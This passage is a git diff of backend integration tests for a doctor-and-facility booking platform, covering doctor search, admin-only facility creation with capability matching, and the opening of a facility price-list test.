accessToken: string; profileId: string; email: string }; + let patient: { userId: string; accessToken: string; profileId: string; email: string }; + + beforeAll(async () => { + await pg.initialise(); + await pg.start(); + await pg.createDatabase('docforum_test'); + execFileSync('npx', ['prisma', 'migrate', 'deploy'], { + cwd: BACKEND_ROOT, + env: { ...process.env, DATABASE_URL: databaseUrl }, + stdio: 'pipe', + }); + process.env.DATABASE_URL = databaseUrl; + + const appModule = await import('../../src/app.js'); + const dbModule = await import('../../src/db/prisma-client.js'); + const fixtureModule = await import('./helpers/fixtures.mjs'); + await fixtureModule.installEmailCapture(emailedTokens); + app = appModule.createApp(); + prisma = dbModule.prisma; + + cardiologyId = await fixtureModule.makeSpecialty(prisma, `Property Cardiology ${runId}`); + dermatologyId = await fixtureModule.makeSpecialty(prisma, `Property Dermatology ${runId}`); + const cardiology = await prisma.specialty.findUniqueOrThrow({ where: { id: cardiologyId } }); + cardiologySlug = cardiology.slug; + doctor = await fixtureModule.makeDoctor(app, prisma, emailedTokens, runId, { specialtyId: cardiologyId }); + await prisma.doctorProfile.update({ where: { id: doctor.profileId }, data: { fullName: 'Adebayo Adebayor' } }); + patient = await fixtureModule.makePatient(app, emailedTokens, runId); + + const pending = await request(app).post('/auth/signup').send({ + role: 'doctor', + email: `pending-${runId}@example.test`, + password: 'longenough123', + fullName: 'Pending Adebayo', + }); + expect(pending.status).toBe(200); + const pendingProfile = await prisma.doctorProfile.findUniqueOrThrow({ where: { userId: pending.body.user.id } }); + await prisma.doctorSpecialty.create({ data: { doctorProfileId: pendingProfile.id, specialtyId: cardiologyId } }); + + await fixtureModule.makeDoctor(app, prisma, emailedTokens, runId, { specialtyId: dermatologyId }); + // Keep one similarly named verified profile for typo and prefix searches. + const second = await request(app).post('/auth/signup').send({ + role: 'doctor', + email: `adele-${runId}@example.test`, + password: 'longenough123', + fullName: 'Adele Dermatologist', + }); + expect(second.status).toBe(200); + const secondProfile = await prisma.doctorProfile.findUniqueOrThrow({ where: { userId: second.body.user.id } }); + await prisma.doctorProfile.update({ where: { id: secondProfile.id }, data: { verificationStatus: 'verified' } }); + await prisma.doctorSpecialty.create({ data: { doctorProfileId: secondProfile.id, specialtyId: dermatologyId } }); + }, 30_000); + + afterAll(async () => { + const fixtureModule = await import('./helpers/fixtures.mjs'); + await fixtureModule.resetEmailSenderFixture(); + await prisma?.$disconnect(); + await pg.stop(); + fs.rmSync(dataDir, { recursive: true, force: true }); + }); + + it('lists specialties publicly and searches only verified doctors with public fields', async () => { + const specialties = await request(app).get('/specialties'); + expect(specialties.status).toBe(200); + expect(specialties.body).toEqual(expect.arrayContaining([ + expect.objectContaining({ id: cardiologyId, slug: cardiologySlug }), + ])); + + const results = await request(app).get('/doctors').query({ specialty: cardiologySlug }); + expect(results.status).toBe(200); + expect(results.body.items).toHaveLength(1); + expect(results.body.items[0]).toMatchObject({ id: doctor.profileId, fullName: 'Adebayo Adebayor' }); + expect(Object.keys(results.body.items[0]).sort()).toEqual(['fullName', 'id', 'specialties']); + expect(results.body.items[0].specialties[0]).toMatchObject({ id: cardiologyId, slug: cardiologySlug }); + expect(JSON.stringify(results.body)).not.toContain(doctor.email); + + const unknown = await request(app).get('/doctors').query({ specialty: 'not-a-specialty' }); + expect(unknown.status).toBe(200); + expect(unknown.body.items).toEqual([]); + }); + + it('uses typo-tolerant matching for longer terms and prefix matching for short terms', async () => { + const typo = await request(app).get('/doctors').query({ q: 'Adebayor' }); + expect(typo.status).toBe(200); + expect(typo.body.items.some((entry: { id: string }) => entry.id === doctor.profileId)).toBe(true); + + const prefix = await request(app).get('/doctors').query({ q: 'Ad' }); + expect(prefix.status).toBe(200); + expect(prefix.body.items.some((entry: { id: string }) => entry.id === doctor.profileId)).toBe(true); + }); + + it('uses stable keyset pagination and lets doctors replace only their own specialty set', async () => { + const first = await request(app).get('/doctors').query({ limit: 1 }); + expect(first.status).toBe(200); + expect(first.body.items).toHaveLength(1); + expect(first.body.nextCursor).toBeTruthy(); + const second = await request(app).get('/doctors').query({ limit: 1, cursor: first.body.nextCursor }); + expect(second.status).toBe(200); + expect(second.body.items).toHaveLength(1); + expect(second.body.items[0].id).not.toBe(first.body.items[0].id); + + const replaced = await request(app) + .put('/doctors/me/specialties') + .set('Authorization', `Bearer ${doctor.accessToken}`) + .send({ specialtyIds: [dermatologyId] }); + expect(replaced.status).toBe(200); + expect(replaced.body.specialties.map((item: { id: string }) => item.id)).toEqual([dermatologyId]); + + const unknown = await request(app) + .put('/doctors/me/specialties') + .set('Authorization', `Bearer ${doctor.accessToken}`) + .send({ specialtyIds: ['00000000-0000-4000-8000-000000000099'] }); + expect(unknown.status).toBe(400); + const current = await prisma.doctorSpecialty.findMany({ where: { doctorProfileId: doctor.profileId } }); + expect(current.map((item) => item.specialtyId)).toEqual([dermatologyId]); + + const forbidden = await request(app) + .put('/doctors/me/specialties') + .set('Authorization', `Bearer ${patient.accessToken}`) + .send({ specialtyIds: [] }); + expect(forbidden.status).toBe(403); + }); +}); diff --git a/backend/tests/integration/facility-creation-matching.test.mts b/backend/tests/integration/facility-creation-matching.test.mts index b2700ceb..38347f70 100644 --- a/backend/tests/integration/facility-creation-matching.test.mts +++ b/backend/tests/integration/facility-creation-matching.test.mts @@ -1,314 +1,314 @@ -// Facility account creation + capability matching (Phase 5, issue #14) β€” -// integration coverage against a real Postgres and the full HTTP stack, -// because the reviewer's bar is that the admin gate is enforced *server-side* -// (test, not assumption) and that matching fails closed. -// -// What this proves: -// * POST /facilities is admin-only: 401 unauthenticated, 403 for patient -// and doctor tokens β€” and writes nothing on refusal; -// * there is no self-serve path: `POST /auth/signup` refuses the facility -// role (PRD OQ-2 β€” curated partner list); -// * admin creation writes User(role facility) + FacilityProfile + its -// FacilityCapability rows + a `facility.created` AuditEvent in one -// transaction, and the resulting account can actually log in; -// * inconsistent payloads (capability type that cannot belong to the -// facility type) are rejected, duplicate emails 409; -// * GET /facilities/eligible narrows to facilities that HOLD the matching -// capability: a facility with no capability rows, or only the wrong type -// of them, is never shown β€” fail closed (PRD FR-13 / Β§8.1.6). -// -// Self-contained embedded Postgres on its own port (5456), same pattern as -// the other files in this directory. -import { execFileSync } from 'node:child_process'; -import fs from 'node:fs'; -import os from 'node:os'; -import path from 'path'; -import { fileURLToPath } from 'node:url'; -import { afterAll, beforeAll, describe, expect, it } from 'vitest'; -import request from 'supertest'; -import EmbeddedPostgres from 'embedded-postgres'; - -const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); -const PORT = 5456; // unique per integration file -const runId = Date.now(); -const PASSWORD = 'longenough123'; - -const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-facility-admin-pg-')); -const pg = new EmbeddedPostgres({ - databaseDir: dataDir, - user: 'docforum', - password: 'docforum', - port: PORT, - persistent: false, -}); - -const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_facility_admin_test`; - -type App = ReturnType; -type Prisma = typeof import('../../src/db/prisma-client.js').prisma; - -/** Same as the admin-lifecycle file: bootstrap an admin the way an operator - * does, password on stdin. */ -function runCreateAdmin(args: string[], stdin: string) { - try { - const stdout = execFileSync('node', ['scripts/create-admin.mjs', ...args], { - cwd: BACKEND_ROOT, - env: { ...process.env, DATABASE_URL: databaseUrl }, - input: stdin, - encoding: 'utf8', - stdio: ['pipe', 'pipe', 'pipe'], - }); - return { status: 0, stdout, stderr: '' }; - } catch (err) { - const failure = err as { status?: number; stdout?: string; stderr?: string }; - return { status: failure.status ?? 1, stdout: failure.stdout ?? '', stderr: failure.stderr ?? '' }; - } -} - -describe('facility account creation + capability matching (issue #14)', () => { - let app: App; - let prisma: Prisma; - let facilitiesService: typeof import('../../src/modules/facilities/services/index.js'); - let adminToken: string; - let adminUserId: string; - let patientToken: string; - let doctorToken: string; - - let northlabId: string; // admin-created lab WITH lab_test capability - let quickscriptsId: string; // admin-created pharmacy WITH medication_dispense - let legacyLabId: string; // direct-seeded lab, NO capability rows - let crosswiredLabId: string; // direct-seeded lab, WRONG capability - - beforeAll(async () => { - await pg.initialise(); - await pg.start(); - await pg.createDatabase('docforum_facility_admin_test'); - - execFileSync('npx', ['prisma', 'migrate', 'deploy'], { - cwd: BACKEND_ROOT, - env: { ...process.env, DATABASE_URL: databaseUrl }, - stdio: 'pipe', - }); - - // Set before the dynamic imports: config and PrismaClient read - // DATABASE_URL at import time (same ordering note as the other files). - process.env.DATABASE_URL = databaseUrl; - - const appModule = await import('../../src/app.js'); - const dbModule = await import('../../src/db/prisma-client.js'); - facilitiesService = await import('../../src/modules/facilities/services/index.js'); - app = appModule.createApp(); - prisma = dbModule.prisma; - - const adminEmail = `facility-admin-${runId}@example.com`; - const created = runCreateAdmin([`--email=${adminEmail}`], `${PASSWORD}\n`); - expect(created.status).toBe(0); - const admin = await prisma.user.findUniqueOrThrow({ where: { email: adminEmail } }); - adminUserId = admin.id; - adminToken = await login(adminEmail); - - const patient = await signup('patient', `facility-patient-${runId}@example.com`); - patientToken = patient.accessToken; - const doctor = await signup('doctor', `facility-doctor-${runId}@example.com`); - doctorToken = doctor.accessToken; - }); - - afterAll(async () => { - await prisma?.$disconnect(); - await pg.stop(); - fs.rmSync(dataDir, { recursive: true, force: true }); - }); - - async function login(email: string, password = PASSWORD) { - const res = await request(app).post('/auth/login').send({ email, password }); - expect(res.status).toBe(200); - return res.body.accessToken as string; - } - - async function signup(role: 'patient' | 'doctor', email: string) { - const res = await request(app) - .post('/auth/signup') - .send({ role, email, password: PASSWORD, fullName: `Facility Test ${role}` }); - expect(res.status).toBe(200); - return { email, accessToken: res.body.accessToken as string }; - } - - function postFacility(token: string | null, body: Record) { - const req = request(app).post('/facilities'); - if (token) req.set('Authorization', `Bearer ${token}`); - return req.send(body); - } - - const validLabPayload = (overrides: Record = {}) => ({ - email: `northlab-${runId}@example.com`, - password: PASSWORD, - name: 'Northlab Diagnostics', - type: 'lab', - capabilities: [{ capabilityType: 'lab_test', detail: 'haematology' }], - ...overrides, - }); - - it('rejects non-admin callers at the route β€” server-side, and writes nothing', async () => { - const unauthenticated = await postFacility(null, validLabPayload()); - expect(unauthenticated.status).toBe(401); - - const asPatient = await postFacility(patientToken, validLabPayload({ email: `patient-try-${runId}@example.com` })); - expect(asPatient.status).toBe(403); - - const asDoctor = await postFacility(doctorToken, validLabPayload({ email: `doctor-try-${runId}@example.com` })); - expect(asDoctor.status).toBe(403); - - expect(await prisma.user.count({ where: { role: 'facility' } })).toBe(0); - expect(await prisma.facilityProfile.count()).toBe(0); - }); - - it('offers no self-serve facility signup (PRD OQ-2)', async () => { - const res = await request(app) - .post('/auth/signup') - .send({ role: 'facility', email: `self-serve-${runId}@example.com`, password: PASSWORD, fullName: 'Self Serve' }); - expect(res.status).toBe(400); - expect(await prisma.user.count({ where: { email: `self-serve-${runId}@example.com` } })).toBe(0); - }); - - it('admin creation writes the account, profile, capabilities and audit row, and the facility can log in', async () => { - const res = await postFacility(adminToken, validLabPayload()); - expect(res.status).toBe(201); - northlabId = res.body.id; - - // No credential ever leaves the response. - expect(res.body).not.toHaveProperty('password'); - expect(res.body).not.toHaveProperty('passwordHash'); - expect(res.body.name).toBe('Northlab Diagnostics'); - expect(res.body.type).toBe('lab'); - expect(res.body.capabilities).toHaveLength(1); - expect(res.body.capabilities[0]).toMatchObject({ capabilityType: 'lab_test', detail: 'haematology' }); - - const user = await prisma.user.findUniqueOrThrow({ where: { id: res.body.userId } }); - expect(user.role).toBe('facility'); - expect(user.passwordHash).not.toContain(PASSWORD); - // Admin attests the address out of band; the provider (#17) can't mail it. - expect(user.emailVerifiedAt).not.toBeNull(); - - const profile = await prisma.facilityProfile.findUniqueOrThrow({ where: { id: northlabId } }); - expect(profile.userId).toBe(user.id); - const capability = await prisma.facilityCapability.findFirstOrThrow({ where: { facilityProfileId: northlabId } }); - expect(capability.capabilityType).toBe('lab_test'); - - const audit = await prisma.auditEvent.findFirst({ - where: { entityType: 'FacilityProfile', entityId: northlabId, action: 'facility.created' }, - }); - expect(audit).not.toBeNull(); - expect(audit!.actorUserId).toBe(adminUserId); - expect(audit!.toState).toBe('created'); - // The audit row carries ids and counts only β€” never the email. - expect(JSON.stringify(audit!.metadata)).not.toContain('northlab-'); - - // The new account is a real login. - const facilityToken = await login(`northlab-${runId}@example.com`); - const prices = await request(app) - .get('/facilities/me/prices') - .set('Authorization', `Bearer ${facilityToken}`); - expect(prices.status).toBe(200); - expect(prices.body.prices).toEqual([]); - }); - - it('rejects inconsistent or duplicate payloads and writes nothing extra', async () => { - const before = await prisma.facilityProfile.count(); - - // A lab cannot hold a dispensing capability β€” and vice versa. - const mismatched = await postFacility( - adminToken, - validLabPayload({ - email: `mismatch-${runId}@example.com`, - capabilities: [{ capabilityType: 'medication_dispense' }], - }), - ); - expect(mismatched.status).toBe(400); - - const noCapabilities = await postFacility( - adminToken, - validLabPayload({ email: `nocaps-${runId}@example.com`, capabilities: [] }), - ); - expect(noCapabilities.status).toBe(400); - - const shortPassword = await postFacility( - adminToken, - validLabPayload({ email: `weak-${runId}@example.com`, password: 'short' }), - ); - expect(shortPassword.status).toBe(400); - - const extraField = await postFacility(adminToken, validLabPayload({ userId: 'forge-me' })); - expect(extraField.status).toBe(400); - - // Duplicate email: the 409 reason, not a stack trace. - const duplicate = await postFacility(adminToken, validLabPayload()); - expect(duplicate.status).toBe(409); - - expect(await prisma.facilityProfile.count()).toBe(before); - }); - - it('matches by capability and fails closed on missing or malformed data (PRD FR-13)', async () => { - const pharmacy = await postFacility( - adminToken, - validLabPayload({ - email: `quickscripts-${runId}@example.com`, - name: 'QuickScripts Pharmacy', - type: 'pharmacy', - capabilities: [{ capabilityType: 'medication_dispense', detail: 'antibiotics' }], - }), - ); - expect(pharmacy.status).toBe(201); - quickscriptsId = pharmacy.body.id; - - // Fail-closed fixtures, written directly (deliberate): a lab created - // before #14 with no capability rows at all, and a lab whose capability - // data is malformed β€” the wrong capability type for its facility type. - // Neither is creatable through the admin endpoint any more. - const legacyUser = await prisma.user.create({ - data: { email: `legacy-lab-${runId}@example.com`, passwordHash: 'unused', role: 'facility' }, - }); - const legacy = await prisma.facilityProfile.create({ - data: { userId: legacyUser.id, name: 'Legacy Unqualified Lab', type: 'lab' }, - }); - legacyLabId = legacy.id; - - const crossUser = await prisma.user.create({ - data: { email: `cross-lab-${runId}@example.com`, passwordHash: 'unused', role: 'facility' }, - }); - const cross = await prisma.facilityProfile.create({ - data: { userId: crossUser.id, name: 'Crosswired Lab', type: 'lab' }, - }); - await prisma.facilityCapability.create({ - data: { facilityProfileId: cross.id, capabilityType: 'medication_dispense', detail: null }, - }); - crosswiredLabId = cross.id; - - const eligibleLabs = await request(app).get('/facilities/eligible').query({ type: 'lab' }); - expect(eligibleLabs.status).toBe(200); - const labIds = eligibleLabs.body.facilities.map((facility: { facilityId: string }) => facility.facilityId); - // Only the lab that actually holds a lab_test capability appears. - expect(labIds).toEqual([northlabId]); - // Named explicitly because "absent" is the whole point: fail closed. - expect(labIds).not.toContain(legacyLabId); - expect(labIds).not.toContain(crosswiredLabId); - - const eligiblePharmacies = await request(app).get('/facilities/eligible').query({ type: 'pharmacy' }); - expect(eligiblePharmacies.status).toBe(200); - const pharmacyIds = eligiblePharmacies.body.facilities.map((facility: { facilityId: string }) => facility.facilityId); - expect(pharmacyIds).toEqual([quickscriptsId]); - - // The order-kind entry point other modules (and #15) will use. - const forLabOrder = await facilitiesService.listEligibleFacilitiesForOrderKind('lab_order'); - expect(forLabOrder.map((facility) => facility.facilityId)).toEqual([northlabId]); - const forPrescription = await facilitiesService.listEligibleFacilitiesForOrderKind('prescription'); - expect(forPrescription.map((facility) => facility.facilityId)).toEqual([quickscriptsId]); - - expect(facilitiesService.facilityRequirementForOrderKind('lab_order')).toEqual({ - facilityType: 'lab', - capabilityType: 'lab_test', - }); - expect(() => - facilitiesService.facilityRequirementForOrderKind('nonsense' as 'lab_order'), - ).toThrowError(expect.objectContaining({ status: 400 })); - }); -}); +// Facility account creation + capability matching (Phase 5, issue #14) β€” +// integration coverage against a real Postgres and the full HTTP stack, +// because the reviewer's bar is that the admin gate is enforced *server-side* +// (test, not assumption) and that matching fails closed. +// +// What this proves: +// * POST /facilities is admin-only: 401 unauthenticated, 403 for patient +// and doctor tokens β€” and writes nothing on refusal; +// * there is no self-serve path: `POST /auth/signup` refuses the facility +// role (PRD OQ-2 β€” curated partner list); +// * admin creation writes User(role facility) + FacilityProfile + its +// FacilityCapability rows + a `facility.created` AuditEvent in one +// transaction, and the resulting account can actually log in; +// * inconsistent payloads (capability type that cannot belong to the +// facility type) are rejected, duplicate emails 409; +// * GET /facilities/eligible narrows to facilities that HOLD the matching +// capability: a facility with no capability rows, or only the wrong type +// of them, is never shown β€” fail closed (PRD FR-13 / Β§8.1.6). +// +// Self-contained embedded Postgres on its own port (5456), same pattern as +// the other files in this directory. +import { execFileSync } from 'node:child_process'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'path'; +import { fileURLToPath } from 'node:url'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import request from 'supertest'; +import EmbeddedPostgres from 'embedded-postgres'; + +const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); +const PORT = 5456; // unique per integration file +const runId = Date.now(); +const PASSWORD = 'longenough123'; + +const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-facility-admin-pg-')); +const pg = new EmbeddedPostgres({ + databaseDir: dataDir, + user: 'docforum', + password: 'docforum', + port: PORT, + persistent: false, +}); + +const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_facility_admin_test`; + +type App = ReturnType; +type Prisma = typeof import('../../src/db/prisma-client.js').prisma; + +/** Same as the admin-lifecycle file: bootstrap an admin the way an operator + * does, password on stdin. */ +function runCreateAdmin(args: string[], stdin: string) { + try { + const stdout = execFileSync('node', ['scripts/create-admin.mjs', ...args], { + cwd: BACKEND_ROOT, + env: { ...process.env, DATABASE_URL: databaseUrl }, + input: stdin, + encoding: 'utf8', + stdio: ['pipe', 'pipe', 'pipe'], + }); + return { status: 0, stdout, stderr: '' }; + } catch (err) { + const failure = err as { status?: number; stdout?: string; stderr?: string }; + return { status: failure.status ?? 1, stdout: failure.stdout ?? '', stderr: failure.stderr ?? '' }; + } +} + +describe('facility account creation + capability matching (issue #14)', () => { + let app: App; + let prisma: Prisma; + let facilitiesService: typeof import('../../src/modules/facilities/services/index.js'); + let adminToken: string; + let adminUserId: string; + let patientToken: string; + let doctorToken: string; + + let northlabId: string; // admin-created lab WITH lab_test capability + let quickscriptsId: string; // admin-created pharmacy WITH medication_dispense + let legacyLabId: string; // direct-seeded lab, NO capability rows + let crosswiredLabId: string; // direct-seeded lab, WRONG capability + + beforeAll(async () => { + await pg.initialise(); + await pg.start(); + await pg.createDatabase('docforum_facility_admin_test'); + + execFileSync('npx', ['prisma', 'migrate', 'deploy'], { + cwd: BACKEND_ROOT, + env: { ...process.env, DATABASE_URL: databaseUrl }, + stdio: 'pipe', + }); + + // Set before the dynamic imports: config and PrismaClient read + // DATABASE_URL at import time (same ordering note as the other files). + process.env.DATABASE_URL = databaseUrl; + + const appModule = await import('../../src/app.js'); + const dbModule = await import('../../src/db/prisma-client.js'); + facilitiesService = await import('../../src/modules/facilities/services/index.js'); + app = appModule.createApp(); + prisma = dbModule.prisma; + + const adminEmail = `facility-admin-${runId}@example.com`; + const created = runCreateAdmin([`--email=${adminEmail}`], `${PASSWORD}\n`); + expect(created.status).toBe(0); + const admin = await prisma.user.findUniqueOrThrow({ where: { email: adminEmail } }); + adminUserId = admin.id; + adminToken = await login(adminEmail); + + const patient = await signup('patient', `facility-patient-${runId}@example.com`); + patientToken = patient.accessToken; + const doctor = await signup('doctor', `facility-doctor-${runId}@example.com`); + doctorToken = doctor.accessToken; + }); + + afterAll(async () => { + await prisma?.$disconnect(); + await pg.stop(); + fs.rmSync(dataDir, { recursive: true, force: true }); + }); + + async function login(email: string, password = PASSWORD) { + const res = await request(app).post('/auth/login').send({ email, password }); + expect(res.status).toBe(200); + return res.body.accessToken as string; + } + + async function signup(role: 'patient' | 'doctor', email: string) { + const res = await request(app) + .post('/auth/signup') + .send({ role, email, password: PASSWORD, fullName: `Facility Test ${role}` }); + expect(res.status).toBe(200); + return { email, accessToken: res.body.accessToken as string }; + } + + function postFacility(token: string | null, body: Record) { + const req = request(app).post('/facilities'); + if (token) req.set('Authorization', `Bearer ${token}`); + return req.send(body); + } + + const validLabPayload = (overrides: Record = {}) => ({ + email: `northlab-${runId}@example.com`, + password: PASSWORD, + name: 'Northlab Diagnostics', + type: 'lab', + capabilities: [{ capabilityType: 'lab_test', detail: 'haematology' }], + ...overrides, + }); + + it('rejects non-admin callers at the route β€” server-side, and writes nothing', async () => { + const unauthenticated = await postFacility(null, validLabPayload()); + expect(unauthenticated.status).toBe(401); + + const asPatient = await postFacility(patientToken, validLabPayload({ email: `patient-try-${runId}@example.com` })); + expect(asPatient.status).toBe(403); + + const asDoctor = await postFacility(doctorToken, validLabPayload({ email: `doctor-try-${runId}@example.com` })); + expect(asDoctor.status).toBe(403); + + expect(await prisma.user.count({ where: { role: 'facility' } })).toBe(0); + expect(await prisma.facilityProfile.count()).toBe(0); + }); + + it('offers no self-serve facility signup (PRD OQ-2)', async () => { + const res = await request(app) + .post('/auth/signup') + .send({ role: 'facility', email: `self-serve-${runId}@example.com`, password: PASSWORD, fullName: 'Self Serve' }); + expect(res.status).toBe(400); + expect(await prisma.user.count({ where: { email: `self-serve-${runId}@example.com` } })).toBe(0); + }); + + it('admin creation writes the account, profile, capabilities and audit row, and the facility can log in', async () => { + const res = await postFacility(adminToken, validLabPayload()); + expect(res.status).toBe(201); + northlabId = res.body.id; + + // No credential ever leaves the response. + expect(res.body).not.toHaveProperty('password'); + expect(res.body).not.toHaveProperty('passwordHash'); + expect(res.body.name).toBe('Northlab Diagnostics'); + expect(res.body.type).toBe('lab'); + expect(res.body.capabilities).toHaveLength(1); + expect(res.body.capabilities[0]).toMatchObject({ capabilityType: 'lab_test', detail: 'haematology' }); + + const user = await prisma.user.findUniqueOrThrow({ where: { id: res.body.userId } }); + expect(user.role).toBe('facility'); + expect(user.passwordHash).not.toContain(PASSWORD); + // Admin attests the address out of band; the provider (#17) can't mail it. + expect(user.emailVerifiedAt).not.toBeNull(); + + const profile = await prisma.facilityProfile.findUniqueOrThrow({ where: { id: northlabId } }); + expect(profile.userId).toBe(user.id); + const capability = await prisma.facilityCapability.findFirstOrThrow({ where: { facilityProfileId: northlabId } }); + expect(capability.capabilityType).toBe('lab_test'); + + const audit = await prisma.auditEvent.findFirst({ + where: { entityType: 'FacilityProfile', entityId: northlabId, action: 'facility.created' }, + }); + expect(audit).not.toBeNull(); + expect(audit!.actorUserId).toBe(adminUserId); + expect(audit!.toState).toBe('created'); + // The audit row carries ids and counts only β€” never the email. + expect(JSON.stringify(audit!.metadata)).not.toContain('northlab-'); + + // The new account is a real login. + const facilityToken = await login(`northlab-${runId}@example.com`); + const prices = await request(app) + .get('/facilities/me/prices') + .set('Authorization', `Bearer ${facilityToken}`); + expect(prices.status).toBe(200); + expect(prices.body.prices).toEqual([]); + }); + + it('rejects inconsistent or duplicate payloads and writes nothing extra', async () => { + const before = await prisma.facilityProfile.count(); + + // A lab cannot hold a dispensing capability β€” and vice versa. + const mismatched = await postFacility( + adminToken, + validLabPayload({ + email: `mismatch-${runId}@example.com`, + capabilities: [{ capabilityType: 'medication_dispense' }], + }), + ); + expect(mismatched.status).toBe(400); + + const noCapabilities = await postFacility( + adminToken, + validLabPayload({ email: `nocaps-${runId}@example.com`, capabilities: [] }), + ); + expect(noCapabilities.status).toBe(400); + + const shortPassword = await postFacility( + adminToken, + validLabPayload({ email: `weak-${runId}@example.com`, password: 'short' }), + ); + expect(shortPassword.status).toBe(400); + + const extraField = await postFacility(adminToken, validLabPayload({ userId: 'forge-me' })); + expect(extraField.status).toBe(400); + + // Duplicate email: the 409 reason, not a stack trace. + const duplicate = await postFacility(adminToken, validLabPayload()); + expect(duplicate.status).toBe(409); + + expect(await prisma.facilityProfile.count()).toBe(before); + }); + + it('matches by capability and fails closed on missing or malformed data (PRD FR-13)', async () => { + const pharmacy = await postFacility( + adminToken, + validLabPayload({ + email: `quickscripts-${runId}@example.com`, + name: 'QuickScripts Pharmacy', + type: 'pharmacy', + capabilities: [{ capabilityType: 'medication_dispense', detail: 'antibiotics' }], + }), + ); + expect(pharmacy.status).toBe(201); + quickscriptsId = pharmacy.body.id; + + // Fail-closed fixtures, written directly (deliberate): a lab created + // before #14 with no capability rows at all, and a lab whose capability + // data is malformed β€” the wrong capability type for its facility type. + // Neither is creatable through the admin endpoint any more. + const legacyUser = await prisma.user.create({ + data: { email: `legacy-lab-${runId}@example.com`, passwordHash: 'unused', role: 'facility' }, + }); + const legacy = await prisma.facilityProfile.create({ + data: { userId: legacyUser.id, name: 'Legacy Unqualified Lab', type: 'lab' }, + }); + legacyLabId = legacy.id; + + const crossUser = await prisma.user.create({ + data: { email: `cross-lab-${runId}@example.com`, passwordHash: 'unused', role: 'facility' }, + }); + const cross = await prisma.facilityProfile.create({ + data: { userId: crossUser.id, name: 'Crosswired Lab', type: 'lab' }, + }); + await prisma.facilityCapability.create({ + data: { facilityProfileId: cross.id, capabilityType: 'medication_dispense', detail: null }, + }); + crosswiredLabId = cross.id; + + const eligibleLabs = await request(app).get('/facilities/eligible').query({ type: 'lab' }); + expect(eligibleLabs.status).toBe(200); + const labIds = eligibleLabs.body.facilities.map((facility: { facilityId: string }) => facility.facilityId); + // Only the lab that actually holds a lab_test capability appears. + expect(labIds).toEqual([northlabId]); + // Named explicitly because "absent" is the whole point: fail closed. + expect(labIds).not.toContain(legacyLabId); + expect(labIds).not.toContain(crosswiredLabId); + + const eligiblePharmacies = await request(app).get('/facilities/eligible').query({ type: 'pharmacy' }); + expect(eligiblePharmacies.status).toBe(200); + const pharmacyIds = eligiblePharmacies.body.facilities.map((facility: { facilityId: string }) => facility.facilityId); + expect(pharmacyIds).toEqual([quickscriptsId]); + + // The order-kind entry point other modules (and #15) will use. + const forLabOrder = await facilitiesService.listEligibleFacilitiesForOrderKind('lab_order'); + expect(forLabOrder.map((facility) => facility.facilityId)).toEqual([northlabId]); + const forPrescription = await facilitiesService.listEligibleFacilitiesForOrderKind('prescription'); + expect(forPrescription.map((facility) => facility.facilityId)).toEqual([quickscriptsId]); + + expect(facilitiesService.facilityRequirementForOrderKind('lab_order')).toEqual({ + facilityType: 'lab', + capabilityType: 'lab_test', + }); + expect(() => + facilitiesService.facilityRequirementForOrderKind('nonsense' as 'lab_order'), + ).toThrowError(expect.objectContaining({ status: 400 })); + }); +}); diff --git a/backend/tests/integration/facility-prices.test.mts b/backend/tests/integration/facility-prices.test.mts index 9fc2bd93..bc0bf9a3 100644 --- a/backend/tests/integration/facility-prices.test.mts +++ b/backend/tests/integration/facility-prices.test.mts @@ -1,258 +1,258 @@ -// Facility price lists (Phase 5, issue #127) β€” integration coverage against a -// real Postgres and the module services, not hand-built queries. -// -// What this proves: -// * facility owners publish versioned prices; history is append-only; -// * another facility's owner cannot publish to a facility they do not own; -// * the eligible-facility lookup returns the in-force price, and -// "price on request" when nothing is published (never 0); -// * issuing an order with a catalogItemCode prices it from the facility's -// list and snapshots the amount + code on the PaymentIntent, so a later -// price change does not re-price the intent; -// * no published price β†’ 422 PRICE_ON_REQUEST and no order is written. -// -// Self-contained embedded Postgres on its own port (5448), same pattern as the -// other files in this directory. -import { execFileSync } from 'node:child_process'; -import fs from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { fileURLToPath } from 'node:url'; -import { afterAll, beforeAll, describe, expect, it } from 'vitest'; -import EmbeddedPostgres from 'embedded-postgres'; - -const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); -const PORT = 5459; // unique per integration file -const runId = Date.now(); -const MINUTE = 60_000; - -const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-prices-pg-')); -const pg = new EmbeddedPostgres({ - databaseDir: dataDir, - user: 'docforum', - password: 'docforum', - port: PORT, - persistent: false, -}); - -const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_prices_test`; - -describe('facility price lists and intent pricing (issue #127)', () => { - let prisma: typeof import('../../src/db/prisma-client.js').prisma; - let facilitiesService: typeof import('../../src/modules/facilities/services/index.js'); - let ordersService: typeof import('../../src/modules/orders/services/index.js'); - - let ownerActor: { userId: string; role: 'facility'; requestId: null }; - let strangerActor: { userId: string; role: 'facility'; requestId: null }; - let doctorActor: { userId: string; role: 'doctor'; requestId: null }; - let doctorProfileId: string; - let patientProfileId: string; - let facilityId: string; - let strangerFacilityId: string; - let consultationId: string; - - beforeAll(async () => { - await pg.initialise(); - await pg.start(); - await pg.createDatabase('docforum_prices_test'); - - execFileSync('npx', ['prisma', 'migrate', 'deploy'], { - cwd: BACKEND_ROOT, - env: { ...process.env, DATABASE_URL: databaseUrl }, - stdio: 'pipe', - }); - - // Set before the dynamic imports: config and PrismaClient read - // DATABASE_URL at import time (same ordering note as the other files). - process.env.DATABASE_URL = databaseUrl; - - const dbModule = await import('../../src/db/prisma-client.js'); - prisma = dbModule.prisma; - facilitiesService = await import('../../src/modules/facilities/services/index.js'); - ordersService = await import('../../src/modules/orders/services/index.js'); - - const patientUser = await prisma.user.create({ - data: { email: `prices-patient-${runId}@example.com`, passwordHash: 'unused', role: 'patient' }, - }); - const patient = await prisma.patientProfile.create({ - data: { userId: patientUser.id, fullName: 'Prices Test Patient' }, - }); - patientProfileId = patient.id; - - const ownerUser = await prisma.user.create({ - data: { email: 